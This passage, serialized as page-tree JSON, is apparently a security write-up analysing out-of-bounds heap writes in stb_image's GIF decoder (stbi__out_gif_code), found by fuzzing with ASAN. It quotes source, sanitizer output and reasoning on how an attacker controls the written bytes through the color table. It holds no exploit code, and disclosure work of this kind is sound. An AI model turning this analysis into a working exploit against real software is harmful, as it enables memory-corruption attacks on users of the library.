g",{"type":25,"tag":201,"props":149035,"children":149036},{"style":220},[149037],{"type":31,"value":15259},{"type":25,"tag":201,"props":149039,"children":149040},{"style":246},[149041],{"type":31,"value":149042},"max_y",{"type":25,"tag":201,"props":149044,"children":149045},{"style":220},[149046],{"type":31,"value":385},{"type":25,"tag":201,"props":149048,"children":149049},{"style":230},[149050],{"type":31,"value":49534},{"type":25,"tag":201,"props":149052,"children":149053},{"style":220},[149054],{"type":31,"value":461},{"type":25,"tag":201,"props":149056,"children":149057},{"class":203,"line":490},[149058],{"type":25,"tag":201,"props":149059,"children":149060},{"emptyLinePlaceholder":17},[149061],{"type":31,"value":496},{"type":25,"tag":201,"props":149063,"children":149064},{"class":203,"line":499},[149065,149070,149074,149078,149082,149087,149091,149095,149099,149103],{"type":25,"tag":201,"props":149066,"children":149067},{"style":220},[149068],{"type":31,"value":149069},"   idx ",{"type":25,"tag":201,"props":149071,"children":149072},{"style":261},[149073],{"type":31,"value":1383},{"type":25,"tag":201,"props":149075,"children":149076},{"style":246},[149077],{"type":31,"value":149033},{"type":25,"tag":201,"props":149079,"children":149080},{"style":220},[149081],{"type":31,"value":15259},{"type":25,"tag":201,"props":149083,"children":149084},{"style":246},[149085],{"type":31,"value":149086},"cur_x",{"type":25,"tag":201,"props":149088,"children":149089},{"style":261},[149090],{"type":31,"value":10412},{"type":25,"tag":201,"props":149092,"children":149093},{"style":246},[149094],{"type":31,"value":149033},{"type":25,"tag":201,"props":149096,"children":149097},{"style":220},[149098],{"type":31,"value":15259},{"type":25,"tag":201,"props":149100,"children":149101},{"style":246},[149102],{"type":31,"value":149024},{"type":25,"tag":201,"props":149104,"children":149105},{"style":220},[149106],{"type":31,"value":149107},"; \n",{"type":25,"tag":201,"props":149109,"children":149110},{"class":203,"line":522},[149111,149116,149120,149124,149128,149132,149136],{"type":25,"tag":201,"props":149112,"children":149113},{"style":220},[149114],{"type":31,"value":149115},"   p ",{"type":25,"tag":201,"props":149117,"children":149118},{"style":261},[149119],{"type":31,"value":1383},{"type":25,"tag":201,"props":149121,"children":149122},{"style":261},[149123],{"type":31,"value":8650},{"type":25,"tag":201,"props":149125,"children":149126},{"style":246},[149127],{"type":31,"value":110382},{"type":25,"tag":201,"props":149129,"children":149130},{"style":220},[149131],{"type":31,"value":15259},{"type":25,"tag":201,"props":149133,"children":149134},{"style":246},[149135],{"type":31,"value":119805},{"type":25,"tag":201,"props":149137,"children":149138},{"style":220},[149139],{"type":31,"value":149140},"[idx];\n",{"type":25,"tag":201,"props":149142,"children":149143},{"class":203,"line":531},[149144,149149,149153,149158,149163,149167,149171,149175,149179,149183,149187],{"type":25,"tag":201,"props":149145,"children":149146},{"style":246},[149147],{"type":31,"value":149148},"   g",{"type":25,"tag":201,"props":149150,"children":149151},{"style":220},[149152],{"type":31,"value":15259},{"type":25,"tag":201,"props":149154,"children":149155},{"style":246},[149156],{"type":31,"value":149157},"history",{"type":25,"tag":201,"props":149159,"children":149160},{"style":220},[149161],{"type":31,"value":149162},"[idx ",{"type":25,"tag":201,"props":149164,"children":149165},{"style":261},[149166],{"type":31,"value":6087},{"type":25,"tag":201,"props":149168,"children":149169},{"style":426},[149170],{"type":31,"value":13247},{"type":25,"tag":201,"props":149172,"children":149173},{"style":220},[149174],{"type":31,"value":10169},{"type":25,"tag":201,"props":149176,"children":149177},{"style":261},[149178],{"type":31,"value":1383},{"type":25,"tag":201,"props":149180,"children":149181},{"style":426},[149182],{"type":31,"value":6029},{"type":25,"tag":201,"props":149184,"children":149185},{"style":220},[149186],{"type":31,"value":50151},{"type":25,"tag":201,"props":149188,"children":149189},{"style":4497},[149190],{"type":31,"value":149191},"          // OOB write\n",{"type":25,"tag":34,"props":149193,"children":149194},{},[149195,149197,149202,149204,149210,149212,149218],{"type":31,"value":149196},"It’s reasonable to assume ",{"type":25,"tag":115,"props":149198,"children":149200},{"className":149199},[],[149201],{"type":31,"value":77601},{"type":31,"value":149203}," is outside the bounds of ",{"type":25,"tag":115,"props":149205,"children":149207},{"className":149206},[],[149208],{"type":31,"value":149209},"g->history",{"type":31,"value":149211},", which leads to a one-byte OOB write (",{"type":25,"tag":115,"props":149213,"children":149215},{"className":149214},[],[149216],{"type":31,"value":149217},"g->history[idx / 4] = 1",{"type":31,"value":149219},"). That single-byte OOB is hard to exploit remotely, but it was the only corruption observed initially, so we investigated further.",{"type":25,"tag":34,"props":149221,"children":149222},{},[149223,149225,149230,149232,149238,149240,149245,149247,149253,149255,149261],{"type":31,"value":149224},"Because ",{"type":25,"tag":115,"props":149226,"children":149228},{"className":149227},[],[149229],{"type":31,"value":34},{"type":31,"value":149231}," is computed from ",{"type":25,"tag":115,"props":149233,"children":149235},{"className":149234},[],[149236],{"type":31,"value":149237},"g->out[idx]",{"type":31,"value":149239}," immediately before the violation, we considered whether ",{"type":25,"tag":115,"props":149241,"children":149243},{"className":149242},[],[149244],{"type":31,"value":77601},{"type":31,"value":149246}," could also be OOB for ",{"type":25,"tag":115,"props":149248,"children":149250},{"className":149249},[],[149251],{"type":31,"value":149252},"g->out",{"type":31,"value":149254},". Note that computing the address ",{"type":25,"tag":115,"props":149256,"children":149258},{"className":149257},[],[149259],{"type":31,"value":149260},"&g->out[idx]",{"type":31,"value":149262}," does not itself access the memory, so ASAN wouldn’t flag it.",{"type":25,"tag":34,"props":149264,"children":149265},{},[149266,149268,149273],{"type":31,"value":149267},"If we comment out ",{"type":25,"tag":115,"props":149269,"children":149271},{"className":149270},[],[149272],{"type":31,"value":149217},{"type":31,"value":149274}," and re-run the fuzzing input, ASAN reports another violation in the same function at a different line:",{"type":25,"tag":191,"props":149276,"children":149278},{"code":149277},"=================================================================\n==8578==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x7f0fe6e6c800 thread T0\n    #0 0x5d54e32a4315 in stbi__out_gif_code stb/stb_image.h:6237\n    [...]\n",[149279],{"type":25,"tag":115,"props":149280,"children":149281},{"__ignoreMap":7},[149282],{"type":31,"value":149277},{"type":25,"tag":34,"props":149284,"children":149285},{},[149286],{"type":31,"value":149287},"This corresponds to:",{"type":25,"tag":191,"props":149289,"children":149291},{"code":149290,"language":4652,"meta":7,"className":18010,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   [...]\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;  \n\n   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];        // OOB write\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   }\n",[149292],{"type":25,"tag":115,"props":149293,"children":149294},{"__ignoreMap":7},[149295,149334,149341,149348,149355,149398,149429,149473,149480,149548,149588,149633,149672,149711,149750],{"type":25,"tag":201,"props":149296,"children":149297},{"class":203,"line":204},[149298,149302,149306,149310,149314,149318,149322,149326,149330],{"type":25,"tag":201,"props":149299,"children":149300},{"style":208},[149301],{"type":31,"value":52122},{"type":25,"tag":201,"props":149303,"children":149304},{"style":208},[149305],{"type":31,"value":52127},{"type":25,"tag":201,"props":149307,"children":149308},{"style":214},[149309],{"type":31,"value":148906},{"type":25,"tag":201,"props":149311,"children":149312},{"style":220},[149313],{"type":31,"value":148911},{"type":25,"tag":201,"props":149315,"children":149316},{"style":261},[149317],{"type":31,"value":6077},{"type":25,"tag":201,"props":149319,"children":149320},{"style":246},[149321],{"type":31,"value":110382},{"type":25,"tag":201,"props":149323,"children":149324},{"style":220},[149325],{"type":31,"value":148924},{"type":25,"tag":201,"props":149327,"children":149328},{"style":246},[149329],{"type":31,"value":115},{"type":25,"tag":201,"props":149331,"children":149332},{"style":220},[149333],{"type":31,"value":4666},{"type":25,"tag":201,"props":149335,"children":149336},{"class":203,"line":226},[149337],{"type":25,"tag":201,"props":149338,"children":149339},{"style":220},[149340],{"type":31,"value":1822},{"type":25,"tag":201,"props":149342,"children":149343},{"class":203,"line":278},[149344],{"type":25,"tag":201,"props":149345,"children":149346},{"style":220},[149347],{"type":31,"value":148993},{"type":25,"tag":201,"props":149349,"children":149350},{"class":203,"line":311},[149351],{"type":25,"tag":201,"props":149352,"children":149353},{"emptyLinePlaceholder":17},[149354],{"type":31,"value":496},{"type":25,"tag":201,"props":149356,"children":149357},{"class":203,"line":330},[149358,149362,149366,149370,149374,149378,149382,149386,149390,149394],{"type":25,"tag":201,"props":149359,"children":149360},{"style":220},[149361],{"type":31,"value":149069},{"type":25,"tag":201,"props":149363,"children":149364},{"style":261},[149365],{"type":31,"value":1383},{"type":25,"tag":201,"props":149367,"children":149368},{"style":246},[149369],{"type":31,"value":149033},{"type":25,"tag":201,"props":149371,"children":149372},{"style":220},[149373],{"type":31,"value":15259},{"type":25,"tag":201,"props":149375,"children":149376},{"style":246},[149377],{"type":31,"value":149086},{"type":25,"tag":201,"props":149379,"children":149380},{"style":261},[149381],{"type":31,"value":10412},{"type":25,"tag":201,"props":149383,"children":149384},{"style":246},[149385],{"type":31,"value":149033},{"type":25,"tag":201,"props":149387,"children":149388},{"style":220},[149389],{"type":31,"value":15259},{"type":25,"tag":201,"props":149391,"children":149392},{"style":246},[149393],{"type":31,"value":149024},{"type":25,"tag":201,"props":149395,"children":149396},{"style":220},[149397],{"type":31,"value":149107},{"type":25,"tag":201,"props":149399,"children":149400},{"class":203,"line":397},[149401,149405,149409,149413,149417,149421,149425],{"type":25,"tag":201,"props":149402,"children":149403},{"style":220},[149404],{"type":31,"value":149115},{"type":25,"tag":201,"props":149406,"children":149407},{"style":261},[149408],{"type":31,"value":1383},{"type":25,"tag":201,"props":149410,"children":149411},{"style":261},[149412],{"type":31,"value":8650},{"type":25,"tag":201,"props":149414,"children":149415},{"style":246},[149416],{"type":31,"value":110382},{"type":25,"tag":201,"props":149418,"children":149419},{"style":220},[149420],{"type":31,"value":15259},{"type":25,"tag":201,"props":149422,"children":149423},{"style":246},[149424],{"type":31,"value":119805},{"type":25,"tag":201,"props":149426,"children":149427},{"style":220},[149428],{"type":31,"value":149140},{"type":25,"tag":201,"props":149430,"children":149431},{"class":203,"line":437},[149432,149436,149440,149444,149448,149452,149456,149460,149464,149468],{"type":25,"tag":201,"props":149433,"children":149434},{"style":246},[149435],{"type":31,"value":149148},{"type":25,"tag":201,"props":149437,"children":149438},{"style":220},[149439],{"type":31,"value":15259},{"type":25,"tag":201,"props":149441,"children":149442},{"style":246},[149443],{"type":31,"value":149157},{"type":25,"tag":201,"props":149445,"children":149446},{"style":220},[149447],{"type":31,"value":149162},{"type":25,"tag":201,"props":149449,"children":149450},{"style":261},[149451],{"type":31,"value":6087},{"type":25,"tag":201,"props":149453,"children":149454},{"style":426},[149455],{"type":31,"value":13247},{"type":25,"tag":201,"props":149457,"children":149458},{"style":220},[149459],{"type":31,"value":10169},{"type":25,"tag":201,"props":149461,"children":149462},{"style":261},[149463],{"type":31,"value":1383},{"type":25,"tag":201,"props":149465,"children":149466},{"style":426},[149467],{"type":31,"value":6029},{"type":25,"tag":201,"props":149469,"children":149470},{"style":220},[149471],{"type":31,"value":149472},";  \n",{"type":25,"tag":201,"props":149474,"children":149475},{"class":203,"line":464},[149476],{"type":25,"tag":201,"props":149477,"children":149478},{"emptyLinePlaceholder":17},[149479],{"type":31,"value":496},{"type":25,"tag":201,"props":149481,"children":149482},{"class":203,"line":490},[149483,149488,149492,149496,149500,149504,149509,149513,149517,149521,149526,149531,149536,149540,149544],{"type":25,"tag":201,"props":149484,"children":149485},{"style":220},[149486],{"type":31,"value":149487},"   c ",{"type":25,"tag":201,"props":149489,"children":149490},{"style":261},[149491],{"type":31,"value":1383},{"type":25,"tag":201,"props":149493,"children":149494},{"style":261},[149495],{"type":31,"value":8650},{"type":25,"tag":201,"props":149497,"children":149498},{"style":246},[149499],{"type":31,"value":110382},{"type":25,"tag":201,"props":149501,"children":149502},{"style":220},[149503],{"type":31,"value":15259},{"type":25,"tag":201,"props":149505,"children":149506},{"style":246},[149507],{"type":31,"value":149508},"color_table",{"type":25,"tag":201,"props":149510,"children":149511},{"style":220},[149512],{"type":31,"value":423},{"type":25,"tag":201,"props":149514,"children":149515},{"style":246},[149516],{"type":31,"value":110382},{"type":25,"tag":201,"props":149518,"children":149519},{"style":220},[149520],{"type":31,"value":15259},{"type":25,"tag":201,"props":149522,"children":149523},{"style":246},[149524],{"type":31,"value":149525},"codes",{"type":25,"tag":201,"props":149527,"children":149528},{"style":220},[149529],{"type":31,"value":149530},"[code].",{"type":25,"tag":201,"props":149532,"children":149533},{"style":246},[149534],{"type":31,"value":149535},"suffix",{"type":25,"tag":201,"props":149537,"children":149538},{"style":261},[149539],{"type":31,"value":11319},{"type":25,"tag":201,"props":149541,"children":149542},{"style":426},[149543],{"type":31,"value":13247},{"type":25,"tag":201,"props":149545,"children":149546},{"style":220},[149547],{"type":31,"value":434},{"type":25,"tag":201,"props":149549,"children":149550},{"class":203,"line":499},[149551,149555,149559,149563,149567,149571,149575,149579,149584],{"type":25,"tag":201,"props":149552,"children":149553},{"style":230},[149554],{"type":31,"value":53722},{"type":25,"tag":201,"props":149556,"children":149557},{"style":220},[149558],{"type":31,"value":238},{"type":25,"tag":201,"props":149560,"children":149561},{"style":246},[149562],{"type":31,"value":4652},{"type":25,"tag":201,"props":149564,"children":149565},{"style":220},[149566],{"type":31,"value":423},{"type":25,"tag":201,"props":149568,"children":149569},{"style":426},[149570],{"type":31,"value":18792},{"type":25,"tag":201,"props":149572,"children":149573},{"style":220},[149574],{"type":31,"value":10169},{"type":25,"tag":201,"props":149576,"children":149577},{"style":261},[149578],{"type":31,"value":1342},{"type":25,"tag":201,"props":149580,"children":149581},{"style":426},[149582],{"type":31,"value":149583}," 128",{"type":25,"tag":201,"props":149585,"children":149586},{"style":220},[149587],{"type":31,"value":275},{"type":25,"tag":201,"props":149589,"children":149590},{"class":203,"line":522},[149591,149596,149600,149604,149608,149612,149616,149620,149624,149628],{"type":25,"tag":201,"props":149592,"children":149593},{"style":246},[149594],{"type":31,"value":149595},"      p",{"type":25,"tag":201,"props":149597,"children":149598},{"style":220},[149599],{"type":31,"value":423},{"type":25,"tag":201,"props":149601,"children":149602},{"style":426},[149603],{"type":31,"value":429},{"type":25,"tag":201,"props":149605,"children":149606},{"style":220},[149607],{"type":31,"value":10169},{"type":25,"tag":201,"props":149609,"children":149610},{"style":261},[149611],{"type":31,"value":1383},{"type":25,"tag":201,"props":149613,"children":149614},{"style":246},[149615],{"type":31,"value":38515},{"type":25,"tag":201,"props":149617,"children":149618},{"style":220},[149619],{"type":31,"value":423},{"type":25,"tag":201,"props":149621,"children":149622},{"style":426},[149623],{"type":31,"value":4629},{"type":25,"tag":201,"props":149625,"children":149626},{"style":220},[149627],{"type":31,"value":56990},{"type":25,"tag":201,"props":149629,"children":149630},{"style":4497},[149631],{"type":31,"value":149632},"        // OOB write\n",{"type":25,"tag":201,"props":149634,"children":149635},{"class":203,"line":531},[149636,149640,149644,149648,149652,149656,149660,149664,149668],{"type":25,"tag":201,"props":149637,"children":149638},{"style":246},[149639],{"type":31,"value":149595},{"type":25,"tag":201,"props":149641,"children":149642},{"style":220},[149643],{"type":31,"value":423},{"type":25,"tag":201,"props":149645,"children":149646},{"style":426},[149647],{"type":31,"value":5516},{"type":25,"tag":201,"props":149649,"children":149650},{"style":220},[149651],{"type":31,"value":10169},{"type":25,"tag":201,"props":149653,"children":149654},{"style":261},[149655],{"type":31,"value":1383},{"type":25,"tag":201,"props":149657,"children":149658},{"style":246},[149659],{"type":31,"value":38515},{"type":25,"tag":201,"props":149661,"children":149662},{"style":220},[149663],{"type":31,"value":423},{"type":25,"tag":201,"props":149665,"children":149666},{"style":426},[149667],{"type":31,"value":5516},{"type":25,"tag":201,"props":149669,"children":149670},{"style":220},[149671],{"type":31,"value":434},{"type":25,"tag":201,"props":149673,"children":149674},{"class":203,"line":550},[149675,149679,149683,149687,149691,149695,149699,149703,149707],{"type":25,"tag":201,"props":149676,"children":149677},{"style":246},[149678],{"type":31,"value":149595},{"type":25,"tag":201,"props":149680,"children":149681},{"style":220},[149682],{"type":31,"value":423},{"type":25,"tag":201,"props":149684,"children":149685},{"style":426},[149686],{"type":31,"value":4629},{"type":25,"tag":201,"props":149688,"children":149689},{"style":220},[149690],{"type":31,"value":10169},{"type":25,"tag":201,"props":149692,"children":149693},{"style":261},[149694],{"type":31,"value":1383},{"type":25,"tag":201,"props":149696,"children":149697},{"style":246},[149698],{"type":31,"value":38515},{"type":25,"tag":201,"props":149700,"children":149701},{"style":220},[149702],{"type":31,"value":423},{"type":25,"tag":201,"props":149704,"children":149705},{"style":426},[149706],{"type":31,"value":429},{"type":25,"tag":201,"props":149708,"children":149709},{"style":220},[149710],{"type":31,"value":434},{"type":25,"tag":201,"props":149712,"children":149713},{"class":203,"line":563},[149714,149718,149722,149726,149730,149734,149738,149742,149746],{"type":25,"tag":201,"props":149715,"children":149716},{"style":246},[149717],{"type":31,"value":149595},{"type":25,"tag":201,"props":149719,"children":149720},{"style":220},[149721],{"type":31,"value":423},{"type":25,"tag":201,"props":149723,"children":149724},{"style":426},[149725],{"type":31,"value":18792},{"type":25,"tag":201,"props":149727,"children":149728},{"style":220},[149729],{"type":31,"value":10169},{"type":25,"tag":201,"props":149731,"children":149732},{"style":261},[149733],{"type":31,"value":1383},{"type":25,"tag":201,"props":149735,"children":149736},{"style":246},[149737],{"type":31,"value":38515},{"type":25,"tag":201,"props":149739,"children":149740},{"style":220},[149741],{"type":31,"value":423},{"type":25,"tag":201,"props":149743,"children":149744},{"style":426},[149745],{"type":31,"value":18792},{"type":25,"tag":201,"props":149747,"children":149748},{"style":220},[149749],{"type":31,"value":434},{"type":25,"tag":201,"props":149751,"children":149752},{"class":203,"line":572},[149753],{"type":25,"tag":201,"props":149754,"children":149755},{"style":220},[149756],{"type":31,"value":3689},{"type":25,"tag":34,"props":149758,"children":149759},{},[149760,149762,149767,149769,149774],{"type":31,"value":149761},"This confirms ",{"type":25,"tag":115,"props":149763,"children":149765},{"className":149764},[],[149766],{"type":31,"value":77601},{"type":31,"value":149768}," is OOB for ",{"type":25,"tag":115,"props":149770,"children":149772},{"className":149771},[],[149773],{"type":31,"value":149252},{"type":31,"value":149775}," as well - here it results in a four-byte OOB write. A four-byte OOB write is still not trivial to exploit remotely, but it is meaningfully more dangerous than a single-byte OOB.",{"type":25,"tag":34,"props":149777,"children":149778},{},[149779,149781,149787,149789,149796],{"type":31,"value":149780},"We've read through the GIF parsing code to find out if the written values can be controlled, and found that ",{"type":25,"tag":115,"props":149782,"children":149784},{"className":149783},[],[149785],{"type":31,"value":149786},"g->color_table",{"type":31,"value":149788}," is populated by ",{"type":25,"tag":71,"props":149790,"children":149793},{"href":149791,"rel":149792},"https://github.com/nothings/stb/blob/f1f077b2722f55e158cba020f0312ee2d13c463a/stb_image.h#L6166-L6175",[75],[149794],{"type":31,"value":149795},"stbi__gif_parse_colortable",{"type":31,"value":5997},{"type":25,"tag":191,"props":149798,"children":149800},{"code":149799,"language":4652,"meta":7,"className":18010,"style":7},"static void stbi__gif_parse_colortable(\n    stbi__context *s,\n    stbi_uc pal[256][4],    // g->color_table\n    int num_entries,\n    int transp\n) {\n   int i;\n   for (i=0; i \u003C num_entries; ++i) {\n      pal[i][2] = stbi__get8(s);\n      pal[i][1] = stbi__get8(s);\n      pal[i][0] = stbi__get8(s);\n      pal[i][3] = transp == i ? 0 : 255;\n   }\n}\n",[149801],{"type":25,"tag":115,"props":149802,"children":149803},{"__ignoreMap":7},[149804,149824,149844,149883,149899,149911,149918,149929,149972,150006,150037,150068,150125,150132],{"type":25,"tag":201,"props":149805,"children":149806},{"class":203,"line":204},[149807,149811,149815,149820],{"type":25,"tag":201,"props":149808,"children":149809},{"style":208},[149810],{"type":31,"value":52122},{"type":25,"tag":201,"props":149812,"children":149813},{"style":208},[149814],{"type":31,"value":52127},{"type":25,"tag":201,"props":149816,"children":149817},{"style":214},[149818],{"type":31,"value":149819}," stbi__gif_parse_colortable",{"type":25,"tag":201,"props":149821,"children":149822},{"style":220},[149823],{"type":31,"value":4970},{"type":25,"tag":201,"props":149825,"children":149826},{"class":203,"line":226},[149827,149832,149836,149840],{"type":25,"tag":201,"props":149828,"children":149829},{"style":220},[149830],{"type":31,"value":149831},"    stbi__context ",{"type":25,"tag":201,"props":149833,"children":149834},{"style":261},[149835],{"type":31,"value":6077},{"type":25,"tag":201,"props":149837,"children":149838},{"style":246},[149839],{"type":31,"value":12153},{"type":25,"tag":201,"props":149841,"children":149842},{"style":220},[149843],{"type":31,"value":547},{"type":25,"tag":201,"props":149845,"children":149846},{"class":203,"line":278},[149847,149852,149857,149861,149865,149869,149873,149878],{"type":25,"tag":201,"props":149848,"children":149849},{"style":220},[149850],{"type":31,"value":149851},"    stbi_uc ",{"type":25,"tag":201,"props":149853,"children":149854},{"style":246},[149855],{"type":31,"value":149856},"pal",{"type":25,"tag":201,"props":149858,"children":149859},{"style":220},[149860],{"type":31,"value":423},{"type":25,"tag":201,"props":149862,"children":149863},{"style":426},[149864],{"type":31,"value":94379},{"type":25,"tag":201,"props":149866,"children":149867},{"style":220},[149868],{"type":31,"value":50035},{"type":25,"tag":201,"props":149870,"children":149871},{"style":426},[149872],{"type":31,"value":19025},{"type":25,"tag":201,"props":149874,"children":149875},{"style":220},[149876],{"type":31,"value":149877},"],",{"type":25,"tag":201,"props":149879,"children":149880},{"style":4497},[149881],{"type":31,"value":149882},"    // g->color_table\n",{"type":25,"tag":201,"props":149884,"children":149885},{"class":203,"line":311},[149886,149890,149895],{"type":25,"tag":201,"props":149887,"children":149888},{"style":208},[149889],{"type":31,"value":20576},{"type":25,"tag":201,"props":149891,"children":149892},{"style":246},[149893],{"type":31,"value":149894}," num_entries",{"type":25,"tag":201,"props":149896,"children":149897},{"style":220},[149898],{"type":31,"value":547},{"type":25,"tag":201,"props":149900,"children":149901},{"class":203,"line":330},[149902,149906],{"type":25,"tag":201,"props":149903,"children":149904},{"style":208},[149905],{"type":31,"value":20576},{"type":25,"tag":201,"props":149907,"children":149908},{"style":220},[149909],{"type":31,"value":149910}," transp\n",{"type":25,"tag":201,"props":149912,"children":149913},{"class":203,"line":397},[149914],{"type":25,"tag":201,"props":149915,"children":149916},{"style":220},[149917],{"type":31,"value":275},{"type":25,"tag":201,"props":149919,"children":149920},{"class":203,"line":437},[149921,149925],{"type":25,"tag":201,"props":149922,"children":149923},{"style":208},[149924],{"type":31,"value":148973},{"type":25,"tag":201,"props":149926,"children":149927},{"style":220},[149928],{"type":31,"value":59043},{"type":25,"tag":201,"props":149930,"children":149931},{"class":203,"line":464},[149932,149937,149942,149946,149950,149954,149958,149963,149967],{"type":25,"tag":201,"props":149933,"children":149934},{"style":230},[149935],{"type":31,"value":149936},"   for",{"type":25,"tag":201,"props":149938,"children":149939},{"style":220},[149940],{"type":31,"value":149941}," (i",{"type":25,"tag":201,"props":149943,"children":149944},{"style":261},[149945],{"type":31,"value":1383},{"type":25,"tag":201,"props":149947,"children":149948},{"style":426},[149949],{"type":31,"value":429},{"type":25,"tag":201,"props":149951,"children":149952},{"style":220},[149953],{"type":31,"value":52311},{"type":25,"tag":201,"props":149955,"children":149956},{"style":261},[149957],{"type":31,"value":1298},{"type":25,"tag":201,"props":149959,"children":149960},{"style":220},[149961],{"type":31,"value":149962}," num_entries; ",{"type":25,"tag":201,"props":149964,"children":149965},{"style":261},[149966],{"type":31,"value":52347},{"type":25,"tag":201,"props":149968,"children":149969},{"style":220},[149970],{"type":31,"value":149971},"i) {\n",{"type":25,"tag":201,"props":149973,"children":149974},{"class":203,"line":490},[149975,149980,149984,149988,149992,149996,150001],{"type":25,"tag":201,"props":149976,"children":149977},{"style":246},[149978],{"type":31,"value":149979},"      pal",{"type":25,"tag":201,"props":149981,"children":149982},{"style":220},[149983],{"type":31,"value":61734},{"type":25,"tag":201,"props":149985,"children":149986},{"style":426},[149987],{"type":31,"value":4629},{"type":25,"tag":201,"props":149989,"children":149990},{"style":220},[149991],{"type":31,"value":10169},{"type":25,"tag":201,"props":149993,"children":149994},{"style":261},[149995],{"type":31,"value":1383},{"type":25,"tag":201,"props":149997,"children":149998},{"style":214},[149999],{"type":31,"value":150000}," stbi__get8",{"type":25,"tag":201,"props":150002,"children":150003},{"style":220},[150004],{"type":31,"value":150005},"(s);\n",{"type":25,"tag":201,"props":150007,"children":150008},{"class":203,"line":499},[150009,150013,150017,150021,150025,150029,150033],{"type":25,"tag":201,"props":150010,"children":150011},{"style":246},[150012],{"type":31,"value":149979},{"type":25,"tag":201,"props":150014,"children":150015},{"style":220},[150016],{"type":31,"value":61734},{"type":25,"tag":201,"props":150018,"children":150019},{"style":426},[150020],{"type":31,"value":5516},{"type":25,"tag":201,"props":150022,"children":150023},{"style":220},[150024],{"type":31,"value":10169},{"type":25,"tag":201,"props":150026,"children":150027},{"style":261},[150028],{"type":31,"value":1383},{"type":25,"tag":201,"props":150030,"children":150031},{"style":214},[150032],{"type":31,"value":150000},{"type":25,"tag":201,"props":150034,"children":150035},{"style":220},[150036],{"type":31,"value":150005},{"type":25,"tag":201,"props":150038,"children":150039},{"class":203,"line":522},[150040,150044,150048,150052,150056,150060,150064],{"type":25,"tag":201,"props":150041,"children":150042},{"style":246},[150043],{"type":31,"value":149979},{"type":25,"tag":201,"props":150045,"children":150046},{"style":220},[150047],{"type":31,"value":61734},{"type":25,"tag":201,"props":150049,"children":150050},{"style":426},[150051],{"type":31,"value":429},{"type":25,"tag":201,"props":150053,"children":150054},{"style":220},[150055],{"type":31,"value":10169},{"type":25,"tag":201,"props":150057,"children":150058},{"style":261},[150059],{"type":31,"value":1383},{"type":25,"tag":201,"props":150061,"children":150062},{"style":214},[150063],{"type":31,"value":150000},{"type":25,"tag":201,"props":150065,"children":150066},{"style":220},[150067],{"type":31,"value":150005},{"type":25,"tag":201,"props":150069,"children":150070},{"class":203,"line":531},[150071,150075,150079,150083,150087,150091,150096,150100,150104,150108,150112,150116,150121],{"type":25,"tag":201,"props":150072,"children":150073},{"style":246},[150074],{"type":31,"value":149979},{"type":25,"tag":201,"props":150076,"children":150077},{"style":220},[150078],{"type":31,"value":61734},{"type":25,"tag":201,"props":150080,"children":150081},{"style":426},[150082],{"type":31,"value":18792},{"type":25,"tag":201,"props":150084,"children":150085},{"style":220},[150086],{"type":31,"value":10169},{"type":25,"tag":201,"props":150088,"children":150089},{"style":261},[150090],{"type":31,"value":1383},{"type":25,"tag":201,"props":150092,"children":150093},{"style":220},[150094],{"type":31,"value":150095}," transp ",{"type":25,"tag":201,"props":150097,"children":150098},{"style":261},[150099],{"type":31,"value":10083},{"type":25,"tag":201,"props":150101,"children":150102},{"style":220},[150103],{"type":31,"value":55622},{"type":25,"tag":201,"props":150105,"children":150106},{"style":261},[150107],{"type":31,"value":4661},{"type":25,"tag":201,"props":150109,"children":150110},{"style":426},[150111],{"type":31,"value":4554},{"type":25,"tag":201,"props":150113,"children":150114},{"style":261},[150115],{"type":31,"value":4059},{"type":25,"tag":201,"props":150117,"children":150118},{"style":426},[150119],{"type":31,"value":150120}," 255",{"type":25,"tag":201,"props":150122,"children":150123},{"style":220},[150124],{"type":31,"value":461},{"type":25,"tag":201,"props":150126,"children":150127},{"class":203,"line":550},[150128],{"type":25,"tag":201,"props":150129,"children":150130},{"style":220},[150131],{"type":31,"value":3689},{"type":25,"tag":201,"props":150133,"children":150134},{"class":203,"line":563},[150135],{"type":25,"tag":201,"props":150136,"children":150137},{"style":220},[150138],{"type":31,"value":1187},{"type":25,"tag":34,"props":150140,"children":150141},{},[150142,150144,150149,150150,150155,150157,150162],{"type":31,"value":150143},"The first three bytes are read from the input image, while the last byte can be either ",{"type":25,"tag":115,"props":150145,"children":150147},{"className":150146},[],[150148],{"type":31,"value":429},{"type":31,"value":14636},{"type":25,"tag":115,"props":150151,"children":150153},{"className":150152},[],[150154],{"type":31,"value":114427},{"type":31,"value":150156},". But as we've seen previously, the OOB write only happens if the last byte is more than ",{"type":25,"tag":115,"props":150158,"children":150160},{"className":150159},[],[150161],{"type":31,"value":31331},{"type":31,"value":5997},{"type":25,"tag":191,"props":150164,"children":150166},{"code":150165,"language":4652,"meta":7,"className":18010,"style":7},"   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   }\n",[150167],{"type":25,"tag":115,"props":150168,"children":150169},{"__ignoreMap":7},[150170,150233,150272,150311,150350,150389,150428],{"type":25,"tag":201,"props":150171,"children":150172},{"class":203,"line":204},[150173,150177,150181,150185,150189,150193,150197,150201,150205,150209,150213,150217,150221,150225,150229],{"type":25,"tag":201,"props":150174,"children":150175},{"style":220},[150176],{"type":31,"value":149487},{"type":25,"tag":201,"props":150178,"children":150179},{"style":261},[150180],{"type":31,"value":1383},{"type":25,"tag":201,"props":150182,"children":150183},{"style":261},[150184],{"type":31,"value":8650},{"type":25,"tag":201,"props":150186,"children":150187},{"style":220},[150188],{"type":31,"value":110382},{"type":25,"tag":201,"props":150190,"children":150191},{"style":261},[150192],{"type":31,"value":15259},{"type":25,"tag":201,"props":150194,"children":150195},{"style":246},[150196],{"type":31,"value":149508},{"type":25,"tag":201,"props":150198,"children":150199},{"style":220},[150200],{"type":31,"value":423},{"type":25,"tag":201,"props":150202,"children":150203},{"style":246},[150204],{"type":31,"value":110382},{"type":25,"tag":201,"props":150206,"children":150207},{"style":220},[150208],{"type":31,"value":15259},{"type":25,"tag":201,"props":150210,"children":150211},{"style":246},[150212],{"type":31,"value":149525},{"type":25,"tag":201,"props":150214,"children":150215},{"style":220},[150216],{"type":31,"value":149530},{"type":25,"tag":201,"pr